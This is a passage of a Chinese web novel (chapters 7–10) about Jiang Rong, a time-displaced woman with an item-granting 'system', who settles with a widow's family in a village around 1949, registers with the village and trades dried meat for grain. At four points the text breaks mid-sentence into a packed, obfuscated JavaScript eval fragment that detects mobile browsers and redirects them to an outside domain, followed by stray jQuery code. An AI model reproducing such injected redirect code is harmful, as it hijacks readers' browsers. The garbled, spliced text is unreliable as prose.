她赶紧说出自己早就准备好的话:“不是,最初跟我一起逃难的老乡往没这边来,我丈夫在我还在那大户人家家里干活的时候就偷跑去参军了,我听说我男人参军的部队往这边来了,就想着来这里看看能不能找到他,别人不肯跟我一起来,我自己来的。 我家里没其他人了,就我和他俩相依为命,听到他的消息总想试试看,万一能找到呢……” 李梅花一脸可惜:“那你来晚了,大部队早就往沪市那边去了,不过你要是知道你男人是哪个部队的,可以去跟留咱们这儿守城的那些解放军同志打听打听。” 姜榕哪敢去呀,她露出黯然的神色说:“我男人总是跟着部队到处跑,很少传信回来,我也不知道他现在是哪个部队的。” “唉,当兵就是这样,到处打仗,队伍打散了又跟别的合并,上了战场谁也不知道什么时候就……”李桂花说到一半,发现自己这话在她面前说很不恰当,跟在人家伤口上撒盐似的。 她忙止住话头,改口说,“等打完仗,你有机会可以回老家看看,没准你男人也会回去找你。” “嗯,我也是这么想的。”姜榕也不在意她说的话,反 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16085012|179538||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正那全都是自己编的。 说话间,姜榕顺势跟她们互通了姓名。 听到她叫姜榕,梅萍还高兴地说:“咱们可真是太有缘分了,我娘家妈也姓姜,她娘家也在豫省,没准你们五百年前还是一家呢!” 姜榕听了也很高兴,立马打蛇随棍上,跟人攀起亲戚来:“咱们这么有缘分,要不以后我就管梅大姐你叫表姐?咱们互相当娘家人!” 这话让梅萍想起了自己遇难的娘家人,一下子忍不住红了眼眶。 她甚至想着,自己恰好在娘家那边的山上,遇到跟自己娘家妈同姓、老家还都是豫省的、帮了自己大忙的好心人。 今天又刚好在村口遇上,让自己反过来救了这个好心人,没准这真是自己娘家妈在保佑。 “好!”她攥紧姜榕的手,哽咽着说,“咱们俩都没了娘家,以后咱就当娘家人处!” 董凤芸端着做好的面糊糊进来,梅萍就拉着她和她的哥哥弟弟,一起走到姜榕面前。 跟他们说:“以后咱家这位恩人就是咱们家正经亲戚,是你们姥姥娘家从豫省那边来的表姨。” 三个孩子跟着齐声叫了一声表姨,姜榕笑着应了。 融入这里的速度比姜榕计划中快很多,这让她由衷感到高兴,发自内心地想给三个刚认的表亲家的孩子见面礼。 可她带的东西很多都不适合现在拿出来,帕子也只有两张,没法送三个孩子。 姜榕努力想了想,想到包袱里的肉干,那些肉干是她在山里自己做的,拿出来应该不碍事。 她就拿出了自己用来当干粮的那一小袋,分成三份送给三个孩子。 三个孩子很长时间没沾过荤腥味儿,看到那肉干,口水疯狂分泌,小的那个更是根本控制不住,口水从嘴里滴答地往外淌。 可他们还记着不能随便拿人家的东西,于是齐齐看向梅萍。 姜榕也看向她:“姐,这些肉干是我在山里自己做的,没花钱,本来打算当干粮吃,谁知道水喝完了,这肉干太硬没水一起吃根本吞不下,硬吞也跟小刀剌嗓子似的,我自己还剩下不少,这些就当是我给孩子们的见面礼,你就让孩子们收下吧!” 梅萍说:“这可是肉,再难咽,它也是肉呀……” 姜榕继续劝:“我还要叨扰你一段时间,要是这点东西你都不让孩子们收,我可不好意思继续在你家住了。” 她都这么说了,梅萍只好让孩子收下,想着晚点做饭的时候,把肉干切碎了放粥里给姜榕吃,顺便让孩子们也跟着尝尝就行了。 安顿好姜榕,梅萍和董芳李梅花还要赶着去城里。 姜榕就把自己带的另外一包肉干交给梅萍,让她帮自己买了,换成粮食。 虽然签到也能得到一点粮食,但姜榕觉得那点粮食不足以让她有足够的安全感。 在肉、菜、调料不丰盛的情况下,她得吃更多粮食才能饱,光靠签到得的那些可不够。 万一什么时候一连好多天,刷新出来的物品里没有粮食,她可就要抓瞎了。 不过今天刷新的签到物品里仍然有粮食。 这次的日常栏和附加栏刷新出来的东西,又比昨天少了一种。 日常栏有两样:糙米1斤、饮用水1瓶。 附加栏只有一样:自行车票碎片1片。 姜榕打算等粮食足够在去考虑其他的东西,于是照旧选择了日常栏的糙米。 签到后又吃了凤芸做的面糊糊,肚子里饱饱暖暖的。 熬了一晚上加一早上的姜榕紧绷的精神刚放松下来,困意便猛烈袭来,头沾上枕头没一会儿就睡着了。 8. 第 8 章 姜榕极少熬夜,所以偶尔来这么一次就非常难受。 她一觉睡到了下午,要不是下午两三点太热,把她热醒了,估计还能继续睡下去。 梅萍早从城里回来了,回来后看到姜榕没醒,就没打扰她,在院子里跟儿子董大河一起整地,一直干活到这个点,也是实在太热才停下。 姜榕睡醒后看到陌生的房顶,先是愣了一会儿,回过神来想起自己在哪儿才坐起来看向窗外。 她刚来的时候,屋子前那院子还是放荒好几年,没人打理过的模样,杂草长得比人都高。 但是这会儿透过窗户看出去,杂草已经被锄掉,归拢在角落,堆成半墙高的一堆晒着。 院子的土地除了走路的地方,其他都被划分成一小块一小块,小块的地又被锄成地垄,只等着太阳下山撒种子种菜了。 梅萍在已经收拾好的堂屋休息了一会儿,担心姜榕睡醒后肚子饿,又去灶房忙活。 姜榕给三个孩子的肉干,孩子们每个人只留下一小块啃了解馋,其余的全都交给了梅萍。 梅萍先舀了小半碗姜榕给的糙米熬粥,然后拿出两块两指宽、手掌长的肉干,细细地切成碎末,混进粥里,再加点盐煮成肉粥。 这是专门给姜榕做的肉粥,他们一家的饭是另外做的,除了最小的孩子有面糊糊吃,其他人都吃之前路上用来当干粮,还没吃完的干巴巴的杂面饼子。 肉香味儿渐渐从灶房弥漫出来,董凤芸蹲在灶台下面帮着烧火,闻着那味儿止不住地咽口水。 董大河和董小河被这香味吸引站在门口猛吸鼻子。 三个孩子都是猛吸几下香味,就啃一口上午清理前院的时候挖出来的地瓜,脑子里想象着自己吃的不是地瓜而是肉。 以前他们家在前院种了些地瓜,全家去逃难时地瓜刚种下去没多久,还没长成他们就没动,全家人都走后,这地瓜没人打理,只能自生自灭。 等到他们回来,院子里倒是还有地瓜生长着,只是野草太茂密,又还没到成熟的月份,这地瓜长得不怎么好,挖出来每个只有手指头大,量也不多。 梅萍想着自家粮食少,每天两顿稀的孩子容易饿,那些挖出来的小地瓜就让几个孩子拿着当零嘴吃了。 姜榕确实饿了,闻到灶房那边传来的香味,也起身下了床。 她从屋子里出来,视野比在屋里通过窗户往外看时更开阔,才发现灶房前的院子一角还留着一小块地,跟其他被锄光植物露出褐色土地的地方不一样,那块地上爬满自己没见过的绿叶植物。 姜榕走到灶房那边,好奇地问两个站在门口的孩子:“那边那一小块地怎么不锄?” “表姨,你醒啦,”董大河跟她打了声招呼答道,“那一小块地上的地瓜藤长得比较好,我妈说把那里杂草拔了就行,让它们继续长,地瓜还能长大,而且留着那些地瓜藤,我们平时还能掐点地瓜叶当菜吃,野菜刮油,总吃野菜肚子太寡了。” 姜榕了然地点头,心想原来那种植物叫地瓜。 董大河给她拿了个小地瓜问:“表姨你吃地瓜不?我们今天出锄院子,挖了一背篓,可惜这些地瓜没人照管,长得太小了,要不然能长跟我手掌一样大,就我家前院这三分地,以前种满了,除除草、施点肥,能收五六百斤的大地瓜!” 三分地能收五六百斤! 姜榕震惊了,她对田地不太懂,但以前也知道一亩上田,在风调雨顺年景最好的时候,由有经验的老农精心伺候,能收获的粮食不过三四百斤。 地瓜这东西竟如此神奇,姜榕不由想到自己来到这里之前,自己所处的朝代因天灾导致各地粮食欠收,老百姓吃不饱以至于各地叛乱频出。 如果有这样的作物,百姓们是不是都不用饿肚子了? 但是这样天真的想法只在姜榕脑子里存在一瞬,很快就被她摒弃了。 不可能的,姜榕心想,丰收年都还有人饿死,怎么可能多一种高产作物,就能做到让百姓们从此不饿肚子呢? 且看看梅萍一家,他们这里已经有这般高产的作物,结果如何? 仍是需要逃难。 不过能识得一种新的高产作物,姜榕依然很开心,至少以后能囤的粮食多了一种,可以跟其他粮食轮着吃,不那么容易吃腻。 “谢谢大外甥!”姜榕接过董大河递过来的小地瓜,走进厨房。 梅萍看到她来了,笑着说:“是不是饿了?再等等给你煮的粥马上就好了。” “单给我煮的?”姜榕皱眉,“那你们吃什么?” 她说着掀开了另一个锅,锅里用小木棍互相搭着当蒸架,上面蒸着几个杂面窝头。 “姐,那粥里再放一瓢水,再多摘点菜,切碎了放粥里一起煮,这样咱们每个人都能分一碗,再配个杂面窝头吃就好。” 梅萍忙摇头:“不成不成,米和肉都是你给的,而且你身子还没恢复,得吃点好的补补。” “怎么不成,我一个人吃好东西,让你和孩子们都看着,这事我可做不出来,有好吃的大家一起吃才香。” 姜榕不管那么多,趁着梅萍对自己不设防,直接拿起水瓢从水缸里舀了一瓢水加进去,给它搅和均匀了,这下梅萍想拒绝都没办法。 “哎,你这……”梅萍看她有好吃的还惦记着她们,心里一阵感动,眼眶泛酸说不出一句完整的话来,越发笃定姜榕肯定是个心善的好人。 “姐,别这了,快去摘菜,今晚咱们吃菜肉粥!” 梅萍拿她没办法,只好按照她说的去办,摘了不少地瓜藤上的嫩叶,切得碎碎的,等锅里加了水的粥重新煮开,全部加进去。 加了菜末之后,那锅里倒是菜比米都多,更别说肉末,现在是一丁点肉末都看不见了,香味也减弱不少,闻着全是菜味。 快出锅的时候,姜榕忽然想起自己在山上用野鸡、野兔的油脂炼的荤油。 她跑回屋里,翻出那一小罐用竹筒装着的半凝固的荤油,舀了一勺放进去,肉香味儿瞬间又回来了! 屋里包括她在内的人,又开始忍不住咽口水。 今天这勉强算是有肉有菜有米面的丰盛的一餐,每个人吃到最后都捧着碗,把碗底都舔干净了。 姜榕原本还不好意思舔碗,但她看到别人都舔,还以为舔碗是这里的习俗,牙一咬眼一闭,也跟着舔。 放下碗后互相看看对方被舔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16085013|179538||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得锃亮的碗,都忍不住笑出了声。 吃完饭,梅萍把姜榕托她用那一大包肉干换的粮食拿出来:“你那一大包肉干我去城里找人借秤称过,有三斤多将近四斤,我们这边种的粮食都是稻谷、苞米、地瓜、洋芋这些,换这些比换面粉或者小米划算。” “我去城里之前,你说让我看着来,我想着地瓜、洋芋这些不如大米和苞米耐放,就都换了大米和苞米。” “现在市面上一斤鲜肉能换六斤大米、八斤苞米,原本两三斤鲜肉才能出一斤肉干,但是肉干吃起来又不如鲜肉好吃,跟我换的那人就按照一斤肉干当两斤鲜肉算,不到四斤的肉干给算了四斤整,大米我给你换了十二斤,剩下的都换了苞米。” 她边说着边从大背篓里往外拿东西,想起姜榕不太清楚外面的情况,就告诉她:“现在金圆券跟废纸差不多,你以后要是去卖东西,可千万别收钱。” “诶,我知道了。”姜榕算着换回来的粮食,一斤肉干等于两斤鲜肉,换回来十二斤大米,剩下的三斤肉干全都换成苞米就是四十八斤,加起来她就有六十斤的粮食! 富了! 姜榕真的瞬间感觉自己富了! 以前锦衣玉食、满头珠翠的时候,她没觉得自己富有,现在仅仅只是用自己亲手做的肉干换回来几十斤粮食,她竟然觉得自己富了! 姜榕想想都觉得有些不可思议,但此时她心里确实就是这么一种感觉,整颗心满满的涨涨的,那是一种前所未有的充实感和满足感。 换回来的大米都是糙米,她见过,所以比较好奇苞米,就打开了装苞米的布袋。 布袋里面是一颗颗晒干的苞米粒,黄澄澄的看起来有些盈透感,跟玉似的。 原来这就是苞米。 “这苞米真好看。” “是呀,”梅萍没懂她话里的意思,以为她夸的是苞米的质量,有些小自得地说,“我特地挑的,不够好的可瞒不过我的眼睛,原本还有苞米碎,但苞米碎吃不及时放久了容易生虫,这种晒得透透的整颗苞米虽说煮起来麻烦点,要么舂碎再煮、要么多费点柴火,但是我想着它能放得久,麻烦点就麻烦点吧。” 看过后姜榕就让她把这些粮食跟她家的放一起,以后一起煮了吃,毕竟她还不知道得在这里待多少天,自带粮食才好意思厚脸皮继续多住几天。 两人正为着给多少粮食互相推让着,外面有人敲了敲院门。 正在院子里种菜的三个孩子看到来人,齐声喊:“妈,村长来啦!” 姜榕听到这话心头一紧,有些担心地看向外面。 梅萍没注意到她异样的神色,起身走出去扬声问:“成材叔,怎么这个时候来了,吃过饭了没?要不进来吃点?” 说是这么说,但其实家里的锅空荡荡,一点窝窝头渣都没有了。 董成才也没把那话当真:“吃过了,趁着日头没那么晒才来的,你家昨天刚回来,还没来得及登记,明天早上记得去村部登记一下,全家所有人都要去。” “这样啊,”梅萍问,“我家有个亲戚来投奔,要一起登记不?” 屋里,一直竖着耳朵听外面动静的姜榕闻言,心一下子悬了起来。 9. 第 9 章 董成才问:“亲戚?什么亲戚?” “我娘家妈的娘家那边的一个表妹。” 董成才捋了一下才捋明白是什么亲戚:“大河他姥姥的娘家那边的远房亲戚?” “对对对,我这个远房表妹也是个被压迫的苦命人,从小被卖到大户人家当丫鬟伺候人,后来嫁人也是嫁那家的奴才,夫妻俩没田、没地、没房子,她男人跑去参军没了消息,那个大户人家的主人全跑了,没人管她,她也没了活计。 后来又遇上水灾,这不她听到消息,说她男人跟着部队到这边来了,自己就跑了过来,她家里其他人都没了,只剩她一个,我总不能看着她一个人在外面流浪不是?” 姜榕听到梅萍的话,悬着的心又放了下来。 跟人说话时,不同的表达方式和顺序,可以得到不同的效果。 如果按照姜榕之前对梅萍自述的顺序,她就先是逃到这里才认识梅萍,进而认亲把对方当表亲相处。 但梅萍把顺序这么一换,就变成了她们原先就是表亲。 这完全是按照对她最有利的方式来说的,这样她借住在梅萍家里就更名正言顺了。 果然村长没有多纠结,毕竟现在这年头也不算多太平,老家遭灾了、打仗了,到处跑投奔亲戚的人多得是。 董成才:“那你也带你亲戚去登记吧,不过我先把丑话说在前面,外地人想暂时在咱们村落脚,得有人做担保,你给她担保要担风险的,万一被查出来是敌特,你全家都得受连累,你可得想清楚。” 梅萍拍着胸口道:“没事,我想好了,我就要给她担保,成才叔你就放一百个心吧,我表妹绝对是个心地善良的好人!她还是我家大河的救命恩人呢!” 说着又把姜榕送药把自己大儿子救了的事说了一遍,不过没说姜榕不搭理人那事。 董成才听着就在心里嘀咕,不是说她表妹是个苦命人么,怎么连那么少见的西药都有? 不过他没露出异样来,只是点头,跟着感慨了一番这真是个好心人。 梅萍说完那事,又想起自己最惦记的事:“成才叔,听说咱们这儿准备要重新分地,能不能提前跟我说说是怎么个分法?是把以前各家的地重新分回来,还是重新分?” 曾经她家条件在村里还不错,梅萍根据自己在鲁省解放区的了解,自家应该算不到富农那一档,真要划分的话,大概是中农。 以前她家里的田地,水田多旱地少,梅萍是期盼着把各家的地分回来的。 董成才却摇头:“我也不知道,上头还没发话,咱只能等着,反正你们就先去登记吧,听说你家多了个小娃娃,别忘了把小娃娃也带去登记。” 听到他最后这句话,梅萍心里就是一咯噔,心情有些复杂,既高兴又有点遗憾。 她想过老家这里分地可能要跟其他解放区一样,按照人头分,听村长叮嘱小娃娃也要带去登记,又七八成可能是这个分法。 可是这样的话,恐怕就不能把家里的地原样分回来了。 不过这个结果她也是有心理准备的,只是有些失望,没什么怨怼的心思。 她又试探着问:“成才叔,我家亲戚要是落户在咱们村,以后分地,她能分到吗?” 梅萍想着前几年那么乱,到处打仗死人,想找个人跟大海捞针似的,不能为了找人自己日子不过了。 万一姜榕的丈夫真没了,她在老家又没房子没地,总得有个落脚的地方、有几亩地才能把日子继续过下去。 梅萍就觉得反正不管能不能成,先问问呗,问问又没损失,顶多浪费点口水。 董成才皱眉说:“这个现在上面还没个说法传下来,我也不好说,再等等吧,有消息我会通知到你们,不过你也别抱太大希望,你表妹一个女人家,要是她没嫁人还好,在咱们村找个好男人嫁了,妥妥的能分地。 可惜她嫁人了,她男人也不知道能不能找到,要是在我们这里落户分地,又找到她男人,跟着人家走了,我们这边又要重新处理她的户口和分给她的地,也是一桩麻烦。” 董成才私心里是不想把本村的地给外人的,而且多一个人,其他人就要少分一点地,是本村人还好,外村的人他可就不太乐意了。 姜榕很感谢梅萍为自己说话,对于这个结果,却没觉得多可惜。 如今这个世界的乡村她已经见过,但城里还没能进去,她暂时还没决定好以后要在哪里落脚。 次日一大早,姜榕起床后就跟着梅萍一家去村部登记,现在难民很常见,对登记的要求不算严格。 她说以前自己伺候的那户人家的主子跑得仓促,没顾得上下人,她们这些下人也找不到卖身契,所以什么证件都没有。 登记的人也没为难,只要有本村的人担保,简单登记一下她的个人信息和家庭信息就完成了。 登记的时候,姜榕多注意了一下登记的人写的那些字,发现他用的字跟自己上辈子学过的字一样,她几乎全都能看懂。 在这里没变成一个文盲,这让姜榕有些小激动。 好在在场的人一直在热聊以后分地的事,还有各自逃难时的经历,每个人都显得挺激动,没显出她来,也没人注意到她。 登记之后,姜榕终于在梅萍的担保下,拿到了临时的居住证明和通行证明。 这两样证件,让她与这个世界终于有了一丝正式的连结。 有了它们,姜榕的心算是落到了实处,不用担心万一走在路上遇到官府的人检查时拿不出证件,被人当成黑户或者卧底之类的人处理。 登记好之后回到梅萍家。 梅萍带着大儿子去自家以前的菜地里继续干活,地还没开始分,但日子还得继续过,饭还要继续吃。 菜地不在回收土地再分的范围内,她打算把菜地拾掇出来,种点东西作为过渡。 梅萍愿意帮忙担保,帮了姜榕大忙,姜榕也总想帮她做点什么,就说自己也可以去帮忙干活,自己有的是力气。 但梅萍说她是客人,昨天还晕倒过,即使她说感觉自己身体已经没什么大碍了,她依然没让她跟着去。 姜榕只好跟董凤英一起待在家,帮忙带孩子、做点家务活。 可她们家的家务活也没多少。 昨天家里仅剩的那点家具已经收拾干净、地也打扫好了。 只有灶房前的地瓜藤和昨天傍晚刚在前院种下的菜需要浇水、买回来的两只母鸡崽子需要喂一下,还有等到饭点前做一下饭。 做饭这事姜榕倒是很能帮得上忙。 梅萍一家四口的粮食全部加起来,也没姜榕用肉干换回来的那些一半多。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16085014|179538||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她们不好意思占她太多便宜,做饭的时候总是只用一点点粮食,姜榕就把做饭这活给接手了。 知道她们没舍得把她当做见面礼送的肉干吃完,甚至还想着用那些肉干给她单独做肉粥吃。 姜榕就每次做饭都跟之前一样,用两三块肉干和一勺荤油做肉菜粥,再热几个杂面窝窝头,大家吃一样的。 不过这个饭做起来太简单,也花不了多少时间。 姜榕倒是也想过,要不教教董凤英做女红,这也算一门手艺,还得起梅萍给她担保的人情。 可这家里连一块多余的布都没有,昨天收拾卫生的抹布还是去隔壁借的。 董小河刚才不小心尿了裤子,都没有多一件裤子换。 那补丁摞着补丁的脏裤子被董凤英洗干净,放到太阳底下晾了起来。 在裤子晾干之前,董小河只能光着屁股到处跑,不止他一个,村里好些小孩都这样。 幸好现在天气热,要不这些小孩就只能待在被窝里,别想到处撒欢。 另外姜榕也有一些顾虑。 其实她那时候故意把两张绣帕露出来给人看,也是冒着风险的。 万一这里没这东西,就得找借口圆过去。 好在她很幸运地赌对了,这里也有人会,只是教人女红这事还是要从长计议。 至少她得先学会做这里常见的衣服,除了普通老百姓的衣服,还有那些大户人家的衣服,才不容易露馅儿。 趁着有空,姜榕悄悄看了一眼系统。 不知道怎么回事,今天刷新出来的物品比昨天更少了。 日常栏和附加栏都只有一件物品,分别是糙米1斤、布鞋碎片1张。 姜榕没犹豫,还是选的糙米,多囤粮食她更有安全感。 物品一天比一天少,让她的心情有些焦虑。 担心要是以后刷新出来的物品越来越少,甚至不再刷新,自己可就要少一个在这里生存的倚仗了。 这样的焦虑,让姜榕决定以后还是多依靠自己的手艺,减少对系统的依赖。 她打开系统包裹查看,新手礼盒开出来的白衬衫还没兑换。 姜榕想了想,也不打算留着这件白衬衫换钱了,直接把它兑换出来,暂时先放在系统包裹里。 去村部做登记的时候,她见过那里的人穿类似的衣服,虽然不是一模一样,但大概是一样的就行,对于熟手来说,学会这个,其他的也就差不离了。 晚上她自己一个人睡一个屋,趁着身边没人,正好能把衬衫拿出来,动手拆解又原样重新缝合起来。 拆缝了两次,姜榕就大概知道这件衣服是怎么做的了,只差实践的机会。 这个机会没让她等太久,梅萍家的菜地不足一亩大,她跟董大河两个一起干活,花不了几天就收拾好了。 一块地划分成三小块,分别种了苞米、地瓜、大豆这些容易伺候的作物。 种完地,梅萍顾不上休息,就计划着要去城里找活干。 想熬过今年冬天,光靠菜地里种的那点粮食和前院种的那点菜可不够。 这次不用姜榕自己提,梅萍就主动问她要不要一起去:“听说城里的布庄和成衣铺开张了,你可以去看看能不能接点活干,顺便还能找守城的战士打听打听你男人的消息。” 10. 第 10 章 今天,姜榕第一次正式去城里,整个人兴奋得跟家里三个小孩一样。 梅萍看了一眼天色,差不多该出发了,可隔壁还没动静,转头对大女儿说:“凤芸,你去看看你芳芳姐家收拾好东西了没。” “哎,”董凤芸清脆地应了一声说,“我这就过去。” “我也去!”董小河就是他姐的小跟屁虫,他姐往外跑,他也迈着小短腿跟着跑。 今天他们全家都要去城里,自然不会拉下他。 这小娃娃今年刚记事,小时候在鲁省那边的生活差不多全忘了,他也觉得自己这是第一次进城,从昨晚就开始兴奋。 董凤芸去的时候,董芳刚好从茅房里出来,见她来了就说:“你回去跟你妈说先等等,我们家昨晚上吃了一顿大肉,没想到太久没吃肉,肚子受不了,今早全家都拉肚子了。” 自从经历爹病死,大哥也差点病死,董凤芸一听到熟悉的人生病就非常紧张,担心地问:“要紧不?不行我帮你跑去隔壁村看看他们那儿的大夫还在不在,给你们抓点药回来?” “不用不用,”董芳忙摆手,她们家虽然早两天就去城里找活干了,但是挣的那点钱几乎全都用来买粮,还买了肉打牙祭,哪有闲钱找大夫抓药? “我们都不算严重,拉完就差不多好了,就是我还有点担心,万一去城里干活的时候又想拉。”董芳有些苦恼地说道。 董凤芸也跟着发愁,她可担心她们今天没法去城里了,自家去城里找活的事,还得仰仗芳芳姐家呢。 姜榕听到她们的话走出来:“你们这个毛病不难解决,我昨天路过芳芳家的菜园子,看到那边有一颗野番石榴,去摘几片野番石榴叶子回来,煮水喝或者洗干净直接拿一两片嚼碎了吞下去都能止腹泻。” “野番石榴叶子竟然还有这用处?!”董芳越过矮矮的院墙,拉住姜榕的手跟她道谢,“姜榕姐,你懂的真多!” “这不算什么,是我男人以前跟着管事到处跑腿的时候,听一个老大夫说过,回来告诉我的。”姜榕笑着说,顺便趁机加深她们对自己身份的印象,不过这确实是仲烨然告诉她的。 有了解决方法,董芳高兴走路都是蹦跶着走的:“我这就去摘野番石榴叶子!” 她二婶走出来,一听就笑了:“你们这辈分可真是乱套了,姜榕是你梅萍婶儿的表妹,你这会儿又管她叫姐。” 董芳跑了几步回头嘿嘿笑:“嘿嘿,姜榕姐看着就跟我差不多大,我们各论各的!” 因为赶时间,董芳全家都用嚼碎的方法。 原本肚子里偶尔还叽里咕噜地响几下,吃下那叶子后,竟然真的好了,还因祸得福,学会了一个止腹泻的好方法! 处理好这事儿,一行人可算赶在太阳出来前从村里出发,往城里走去。 董芳的二叔董二旺和小叔董三福轮流帮忙背着董小河,走到四分之三的路程时,一行人分成了两拨,才把董小河放下。 董二旺和董三福继续往城里走,他们在城里找到的是清理破败房屋建筑的活。 之前打仗,城里的房屋免不了受损,有些没法补了,只能把房子拆掉,把能用的和不能用的都分别清理出来。 能用的重建时就继续用,不能用的得搬到统一处理建筑垃圾的地方。 他们兄弟俩做的就是最后搬运的这一步。 董芳和李梅花力气不如他们大,就找了个在城外种菜的活。 城外有些地以前种出来的粮食蔬菜,专供城里的官员和各种部门。 现在被划分为国营农场,种出来的蔬菜不只是供官方食堂,还会放在专门的店铺里,售卖给城里没地的市民,以保障城内市民的基本蔬菜供应。 李梅花带着梅萍几人去之前,小声叮嘱:“人家招工规定了,十六岁才招,到时候管事的问起来,你们可别说漏嘴,千万咬死了大河就是十六岁,只是家里穷,吃不饱,看起来才比同龄人小。” 其他人不住地点头,董芳其实也才刚满十五岁,也是瞒报了年龄才能去干活的。 种菜这个活能拿到的工钱不如搬运,但是这个活能带孩子一起去,所以今天梅萍才让全家都来了。 原先她是打算自己跟大儿子出来找活干,让大女儿在家看孩子。 现在既然能带孩子,小儿子就不用放家里了,她想着可以试试争取三个工,实在不行两个半也不错。 趁着有活干,能多挣一点是一点。 梅萍这么想着,到了地方之后,还真咬牙鼓起勇气跟管事的人提了。 管事的人听了有些犹豫。 姜榕看管事没马上拒绝,认为机会还是挺大的。 赶紧在旁边趁热打铁帮腔道:“我们家这孩子可勤快了,在家里不管是做家务,还是下地干活,样样都做得好,你要是不相信的话,咱们这样行不行,让孩子免费帮农场干一天活,如果能让你们满意,就让她算半个工,实在不行,让她帮忙照看大家伙带来的孩子也成呀!” 梅萍又趁机跟管事哭诉自己公婆丈夫都没了,她一个寡妇养三个孩子,还刚从外地返乡,丈夫在返乡途中生病,为了给他治病花光了积蓄,却没治好,人财两空,现在家里穷得耗子都不乐意来打窝,村里又还没分地,实在是艰难。 李梅花在旁边看得目瞪口呆,没想到还能这样,最令人不可思议的是,这事儿还真成了! 那管事犹豫了一下说:“我去问问领导。” 原本都以为这是托词,谁知竟不是,她还真去问了! 问过上头领导之后,又特地去村里跟村长核实梅萍家的情况,确认她说的是事实,就破例同意了让董凤芸也在那里干活。 管事的办事效率很高,只花了半个上午就把这事办好了,就按照她们说的,今天算试工,没有工钱,干完活后检查合格,明天开始就有工钱,按照半个工算。 李梅花既羡慕又懊恼,后悔得直拍大腿:“早知道还能这样,我就把我家爱红和爱国也带来了,能算半个工挣回去两斤大米,也比在家里待着划算多了!” 不过她也就是说说而已。 李梅花心里明白,自己不一定敢去问,别说她,就是这农场里其他跟她一样的临时工,也不一定能找出一个敢去问这事的人。 而且别人也是看梅萍一个寡妇养三个孩子实在可怜,才给的破例,自己家满打满算三个劳动力,算上董芳就是四个,只养着两个孩子,跟别家比已经算很好了。 这种条件,就是她敢去说,人家也不会破例同意的。 姜榕没在农场久待,她不打算现在就找活 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16085015|179538||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 干,找也不想找自己不擅长的活。 所以她在这事解决后,就自己往城里去了。 梅萍提醒她,她丈夫的事可以跟城门那儿的士兵打听打听。 姜榕嘴上应着,实际上没想过去问,因为那不过是她为了更容易取信别人瞎掰的一个身份。 另外,她还有其他顾虑。 即使从她在山里遇到人开始,但凡听人说起解放军,全都是称赞,没有一个说不好的。 可她对官兵的印象已经根深蒂固,并非短时间内就能改变。 在她印象中,不管是当官的、还是当兵的都不好打交道,绝大部分十分擅长看人下菜碟,是否好说话,全看面对的人身份有多高。 现在她的身份只是个平头百姓,还是逃难到这边难民,万一哪里让人家看不顺眼,为难她,可就要给梅萍甚至董芳一家惹麻烦了。 然而接下来遇到的事,慢慢开始打破了姜榕对官兵的刻板印象。 她原本在一个挑担子的老农身后排队,轮到她前面几个人的时候,检查证件的官兵抬头往这边看了几眼,就转头跟另一个士兵说了几句话。 那士兵听完,也看了这边一眼,点点头,就往这边走来,姜榕见状不由得紧张起来。 没等她做出反应,前面的老农已经冲着往这边走的士兵大声嚷嚷起来了:“哎呀,老汉我还挑得动,不用你们年轻人帮忙!你们忙你们的去吧!” 姜榕震惊了,青天白日的,这老农可别是在说梦话吧? 官兵会帮忙?不抢你的就不错了! 结果那个士兵还真是来帮忙的:“大爷,你怎么还自己挑粮来?我记得上回你在城门这儿就把腰扭了,还是让我来吧,这回也是跟上次一样送到粮站?” “对对,是送到粮站,那里价格合适,不糊弄咱老百姓,哎呀真不用帮我,扭那一下只疼了几天,抹了药早好了,一点不妨碍下地干活,你们平时又要训练又要干活,也辛苦得很,真不用帮我!” 大爷推让了一番,还是没争过那个士兵,担子被士兵接到肩膀上挑着进城了,大爷只能养着笑脸颠颠地跟在旁边。 而排队的其他人,对这一幕全是一副见怪不怪的样子。 姜蓉也只好收起自己的惊讶,装作跟其他人一样。 